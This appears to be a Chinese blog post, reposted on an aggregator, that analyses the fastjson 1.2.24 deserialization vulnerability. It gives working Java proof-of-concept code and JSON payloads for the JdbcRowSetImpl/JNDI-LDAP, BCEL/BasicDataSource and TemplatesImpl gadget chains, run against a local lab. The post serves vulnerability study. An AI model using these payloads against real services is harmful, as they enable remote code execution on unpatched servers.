fastjson-1.2.24利用

参考视频:fastjson反序列化漏洞2-1.2.24利用

参考博客:Fastjson系列二——1.2.22-1.2.24反序列化漏洞

分析版本

fastjson1.2.24

JDK 8u141

fastjson反序列化特点

  1. 不需要实现Serializable

    因为对于找不到符合条件的反序列化器,就把类当作JavaBean。

  2. 变量有对应的setter,getter(返回值类型需要满足条件),public属性

  3. 触发点setter,getter

  4. sink 反射/动态类加载

我们在json中指定@type参数,故fastjson会尝试将该字符串反序列化为指定类的对象,并调用类中的set方法给对象进行赋值,把反序列化后拿到的对象toJSON时用get方法。

JdbcRowSetImpl链

分析过程

利用的是JdbcRowSetImpl这个类

private Connection connect() throws SQLException {if (this.conn != null) {return this.conn;} else if (this.getDataSourceName() != null) {try {InitialContext var1 = new InitialContext();DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); //很明显能看出来是JNDI的lookupreturn this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();} catch (NamingException var3) {throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());}} else {return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;}
}

我们想下利用链流程,

首先要给DataSourceName赋值,DataSourceName的setter和getter方法都有。但是注意getter方法的返回值类型,分析源码的时候讲到了加载反序列化器时要触发getter方法返回值只能是几个类型。这里getter不会被触发。(在后续的toJSON中会被触发)

之后要触发connect()方法,查找谁调用了它。发现setter和getter方法都有,和上面一样的。

在这里插入图片描述

这里选setAutoCommit方法。

我们都选择set方法,利用起来方便些。

public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);} else {this.conn = this.connect();this.conn.setAutoCommit(var1);}}

攻击实现

根据上面分析,很容易把payload写出来,fastjson通过我们给的json反序列化出一个JdbcRowSetImpl对象,过程中先调用setDataSourceName给dataSourceName赋值再调用setAutoCommit --> connect()

下面用的JNDI+LDAP攻击,我用的8u141,JNDI还没修复。

public class FastJsonJdbcRowSetImpl {public static void main(String[] args) throws Exception {//JdbcRowSetImplString s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:10389/cn=Exp,dc=example,dc=com\",\"autoCommit\":0}";JSONObject jsonObject = JSON.parseObject(s);System.out.println(jsonObject);//LdapCtx}
}

这里要注意dataSourceName的写法,因为fastjson是根据setter和getter获取的属性,所以名字要根据setter和getter的名字写,而不是根据对应属性名写。

Bcel链

上面讲到的JdbcRowSetImpl链,是和JNDI注入结合使用,会收到JDK版本限制。

Bcel链不受JDK版本限制。

分析过程

首先JDK内置com.sun.org.apache.bcel.internal.util.ClassLoader类,分析写在注释里了。

protected Class loadClass(String class_name, boolean resolve)throws ClassNotFoundException
{Class cl = null;/* First try: lookup hash table.*/if((cl=(Class)classes.get(class_name)) == null) {/* Second try: Load system class using system class loader. You better* don't mess around with them.*/for(int i=0; i < ignored_packages.length; i++) {if(class_name.startsWith(ignored_packages[i])) {cl = deferTo.loadClass(class_name);break;}}if(cl == null) {JavaClass clazz = null;/* Third try: Special request?*/if(class_name.indexOf("$$BCEL$$") >= 0)                           //如果传进来的字节码包含$$BCEL$$clazz = createClass(class_name);                                //调用createClass(class_name);拿到解密完成的字节码     else { // Fourth try: Load classes via repositoryif ((clazz = repository.loadClass(class_name)) != null) {clazz = modifyClass(clazz);}elsethrow new ClassNotFoundException(class_name);}if(clazz != null) {byte[] bytes  = clazz.getBytes();                               cl = defineClass(class_name, bytes, 0, bytes.length);           //调用defineClass加载字节码  } else // Fourth try: Use default class loadercl = Class.forName(class_name);}if(resolve)resolveClass(cl);}classes.put(class_name, cl);return cl;
}
protected JavaClass createClass(String class_name) {int    index     = class_name.indexOf("$$BCEL$$");String real_name = class_name.substring(index + 8);   //取$$BCEL$$后面字符串JavaClass clazz = null;try {byte[]      bytes  = Utility.decode(real_name, true); //将字符串解密ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");clazz = parser.parse();} catch(Throwable e) {e.printStackTrace();return null;}// Adapt the class name to the passed valueConstantPool cp = clazz.getConstantPool();ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),Constants.CONSTANT_Class);ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),Constants.CONSTANT_Utf8);name.setBytes(class_name.replace('.', '/'));return clazz;
}

所以我们将恶意字节码加密并在前面加上 B C E L BCEL BCEL,就可以弹计算器了。

public class FastJsonBcel {public static void main(String[] args) throws Exception{byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Exp.class"));String encode = Utility.encode(code,true);ClassLoader classLoader = new ClassLoader();classLoader.loadClass("$$BCEL$$"+encode).newInstance();}
}

之后看是否有一个类,可以实现classLoader.loadClass("$$BCEL$$"+encode).newInstance();

发现tomcat的一个类org.apache.tomcat.dbcp.dbcp2.BasicDataSource,正好满足这个条件

protected ConnectionFactory createConnectionFactory() throws SQLException {// Load the JDBC driver classDriver driverToUse = this.driver;if (driverToUse == null) {Class<?> driverFromCCL = null;if (driverClassName != null) {try {try {if (driverClassLoader == null) {                   driverFromCCL = Class.forName(driverClassName);} else {driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);  //保证driveClassLoader不为NULL,进入这个循环,}

driverClassName赋值为我们的字节码。

这里调用的是forName之前在双亲委派中也说到了

    ClassLoader classLoader = ClassLoader.getSystemClassLoader();Class<?> person = classLoader.loadClass("Person");             //默认不初始化,对应forName的falseClass<?> person = Class.forName("Person", false, classLoader); //两个代码作用相同

之后就要看driveClassLoader,driverClassName的赋值了。(看有没有对应的setter赋值方法)

正好是是有对应的setter方法的,我就不贴出来了。

最后还要看下怎么调用执行这个createConnectionFactory()方法,也要往上找,直到找到setter和getter方法。

在这里插入图片描述

在这里插入图片描述

最后setter,getter方法也找到了。

这里选择getConnection()方法,用set方法的话还得引入新的类。这里调用get方法的话也是在toJSON调用(方法返回Connect,过不了判断,不会在生成反序列化器中调用),顺序很清晰。

更新payload

public class FastJsonBcel {public static void main(String[] args) throws Exception{byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Exp.class"));String encode = Utility.encode(code,true);ClassLoader classLoader = new ClassLoader();//classLoader.loadClass("$$BCEL$$"+encode).newInstance();BasicDataSource basicDataSource = new BasicDataSource();basicDataSource.setDriverClassName("$$BCEL$$"+encode);basicDataSource.setDriverClassLoader(classLoader);basicDataSource.getConnection();}
}

最终payload

public class FastJsonBcel {public static void main(String[] args) throws Exception{byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Exp.class"));String encode = Utility.encode(code,true);ClassLoader classLoader = new ClassLoader();//classLoader.loadClass("$$BCEL$$"+encode).newInstance();//        BasicDataSource basicDataSource = new BasicDataSource();
//        basicDataSource.setDriverClassName("$$BCEL$$"+encode);
//        basicDataSource.setDriverClassLoader(classLoader);
//        basicDataSource.getConnection();//String s = "{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}";String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$" + encode +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";JSONObject jsonObject = JSON.parseObject(s);}
}

TemplateImpl链

这个链是联系到了CB链中找到的TemplatesImpl的getOutputProperties,用到了get方法,而fastjson是可以触发get方法的。

public synchronized Properties getOutputProperties() {try {return newTransformer().getOutputProperties(); //CC3中动态加载类是由newTransformer调用的}catch (TransformerConfigurationException e) {return null;}
}

具体细节就不分析了(不使用,实现攻击需要传很多没有setter和getter的变量,所以要fastjson开启一个参数)

public class FastJsonTemplateImpl {public static void main(String[] args) throws Exception{//byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));String code = readClass("G:\\Java反序列化\\class_test\\Test.class");//System.out.println(readClass("G:\\Java反序列化\\class_test\\Test.class"));//byte[][] codes = {code};
//        TemplatesImpl templates = new TemplatesImpl();
//        Class templatesClass = templates.getClass();
//        Field name = templatesClass.getDeclaredField("_name");
//        name.setAccessible(true);
//        name.set(templates, "pass");
//
//        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
//        bytecodes.setAccessible(true);
//        //bytecodes.set(templates, codes);
//
//        Field tfactory = templatesClass.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates, new TransformerFactoryImpl());String s = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_name\":\"pass\",\"_bytecodes\":[\"" + code + "\"],\"_tfactory\":{},\"_outputProperties\":{}}";JSONObject jsonObject = JSON.parseObject(s, Feature.SupportNonPublicField);System.out.println(jsonObject);}public static String readClass(String cls){ByteArrayOutputStream bos = new ByteArrayOutputStream();try {IOUtils.copy(new FileInputStream(new File(cls)), bos);} catch (IOException e) {e.printStackTrace();}return Base64.encodeBase64String(bos.toByteArray());}
}

开始我想省略\"_outputProperties\":{},但是发现JSON.parseObject(s, Feature.SupportNonPublicField);不会调用toJSON也就是不会在组后把所有getter方法都调用一遍,并且在return (JSONObject) parse(text, features);中就抛出了异常,所以要加上这句话让getOutputProperties在生成反序列化器时执行。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/390669.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

华为的流程体系

缘由 2010年&#xff0c;华为销售额为1850亿元&#xff0c;其中国际市场占65%&#xff0c;净利润238亿元。当时&#xff0c;公司员工达11万人&#xff0c;公司处理合同达5万多个&#xff0c;290万个订单&#xff0c;大量的工作是手工处理&#xff0c;没有统一的流程支持&#…

机器学习流程图

第一部分&#xff1a;课程使用的技术栈 &#xff08;1&#xff09;Numpy 科学计算基础库&#xff0c;矩阵运算&#xff0c;线性代数 &#xff08;2&#xff09;matplotlib 绘图库&#xff0c;数据可视化 &#xff08;3&#xff09;Scikit 封装了各种分类&#xff0c;回归…

释放群众的创造力:打赢网络犯罪战争

关注公众号网络研究观获取更多内容。 企业业非但没有享受到技术带来的好处&#xff0c;反而承受着高昂的成本。 事情不应该是这样的。 企业投资 IT 是因为相信它可以改变他们与客户的关系、供应链和业务敏捷性。在过去 12 个月中&#xff0c;我们还看到人们对 AI 如何增强…

面向对象之设计模式,四种内部类,类关系

面向对象 1. 类关系 继承 使用extends表示,类和类单继承,接口和接口多继承,多个逗号隔开 又叫泛化关系 实现 类和接口是多实现关系,多个逗号隔开,通过关键字 implements表示 依赖 一个类中的局部变量 ,保存了另一个类对象 关联 又叫强依赖,一个类中的成员变量,是另一个类对象…

【Python】爬取网易新闻今日热点列表数据并导出

1. 需求 从网易新闻的科技模块爬取今日热点的列表数据&#xff0c;其中包括标题、图片、标签、发表时间、路径、详细文本内容&#xff0c;最后导出这些列表数据到Excel中。 网易科技新闻网址&#xff1a;https://tech.163.com 2. 解决步骤 2.1 前期准备 爬虫脚本中需要引用…

【数据泄露】最新 FBI 官员数据库泄露事件

前言 近日&#xff0c;一名化名为 “rpk” 的威胁行为者在 breachforums 论坛上声称泄露了包含 22,175 名 FBI 官员数据的数据库。此事件迅速引起了广泛关注&#xff0c;主要因为 FBI 作为美国联邦调查局&#xff0c;不仅是美国司法部的主要调查机构&#xff0c;还是美国情报界…

python实现图像分割算法4

python实现流域变换算法 算法原理基本步骤数学模型Python实现详细解释优缺点应用领域流域变换(Watershed Transform)算法是一种用于图像分割的技术,特别适用于分割重叠和相邻的对象。它的基本思想是将图像视为拓扑表面,通过模拟水的流动来分割区域。流域变换广泛应用于医学…

Python实战:wxauto与百度千帆大模型结合快速实现微信智能回复机器人

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

AI PC处理器架-低功耗、NPU算力、大模型

AI PC处理器架构变化&#xff1a;ARM低功耗、引入NPU算力、大模型落地端侧 ARM架构以简洁的指令集设计&#xff0c;快速执行每条命令&#xff0c;实现低功耗下的高效性能。其核心理念是节能和效率&#xff0c;为电池驱动设备提供了理想选择。相较之下&#xff0c;x86架构虽指令…

XXE-lab-master靶场:PHP_xxe

目录 有回显 测试回显位置 构建payload 无回显数据外带 构建payload 漏洞修复 XXE-lab是一个一个包含php,java,python,C#等各种语言版本的XXE漏洞靶场。 下载地址&#xff1a;https://github.com/c0ny1/xxe-lab 将PHPStudy的中间件与版本信息调制为 php-5.4.29Apache 以…

@SchedulerLock注解使用

文章目录 Scheduled注解参数介绍建表配置类示例参考 如果服务中使用了Scheduled注解&#xff0c;且服务部署了多个节点。那么在同一时刻&#xff0c;所有节点都会执行定时任务。但有有些任务我们只需执行一次&#xff0c;这就需要使用分布式锁的方式来控制&#xff0c;如可以使…

七夕情人节有什么好物推荐?五款性价比超高的产品推荐!

亲爱的朋友们&#xff0c;随着七夕情人节的临近&#xff0c;空气中弥漫着浪漫与甜蜜的气息。在这个专属恋人的节日里&#xff0c;团团知道大家在为心爱的人挑选礼物时可能会感到纠结。因此&#xff0c;我根据个人的浪漫经验和精心的市场挑选&#xff0c;为大家准备了一份情人节…

基础实验回顾

一、虚拟机网络设定 克隆一台node1 在node1上进行网络配置 进入网卡配置目录 # 红帽9网卡配置文件目录&#xff0c;其他版本不一样 [rootlocalhost ~]# cd /etc/NetworkManager/system-connections/网卡配置文件 [rootlocalhost system-connections]# vim ens160.nmconnect…

WordPress 轻量级产品官网类主题 CeoNova-Pro_v4.4绕授权开心版

CeoNova-Pro 主题是一款轻量级、且简洁大气、产品官网类主题&#xff0c;定位于高端产品官网、同时包含了知识付费、定制服务、问答社区、论坛交流、网址导航、以及付费产品购买下载等全方位覆盖。 源码下载&#xff1a;ceonova-pro4.4.zip 变更日志 新增虚拟资源隐藏信息增…

GitHub最全中文排行榜开源项目,助你轻松发现优质资源!

文章目录 GitHub-Chinese-Top-Charts&#xff1a;中文开发者的开源项目精选项目介绍项目特点核心功能1. 热门项目榜单2. 详细项目信息 如何使用覆盖范围软件类资料类 GitHub-Chinese-Top-Charts&#xff1a;中文开发者的开源项目精选 在全球范围内&#xff0c;GitHub已经成为了…

vue3直播视频流easy-player

vue3直播视频流easy-player <script src"/easyPlayer/EasyPlayer-element.min.js"></script> easyPlayer文件下载地址 https://download.csdn.net/download/weixin_42120669/89605739 <template><div class"container"><div …

Flask 介绍

Flask 介绍 为什么要学 Flask框架对比设计哲学功能特点适用场景学习曲线总结 Flask 的特点Flask 常用扩展包Flask 的基本组件Flask 的应用场景官方文档官方文档链接文档内容概述学习建议 Flask 是一个使用 Python 编写的轻量级 Web 应用框架。它旨在让 Web 开发变得快速、简单且…

1.4亿中文知识图谱导入Nebula Graph快速体验

1. 史上最大规模的中文知识图谱 Yener 开源了史上最大规模的中文知识图谱—— OwnThink&#xff08;链接&#xff1a;​​https://github.com/ownthink/KnowledgeGraphData​​&#xff0c;数据量为 1.4 亿条。数据以 ​​(实体, 属性, 值)​​ 和 ​​(实体, 关系, 实体)​​…

【最长重复子数组】python刷题记录

R3-滑动窗口专题 . - 力扣&#xff08;LeetCode&#xff09;

Xilinx FPGA 原语解析(一):IBUFDS_GTE3 差分时钟输入缓冲器

目录 1.使用说明 2.实例化代码 3.参数解释 4.端口连接 1.使用说明 IBUFDS_GTE3 是Xilinx FPGA 中用于高速接口的差分时钟信号输入缓冲器。 BUFDS_GTEx&#xff0c;x2/3/4&#xff08;不同系列的FPGA x的值不同&#xff09;&#xff0c;其中UltraScale使IBUFDS_GTE3…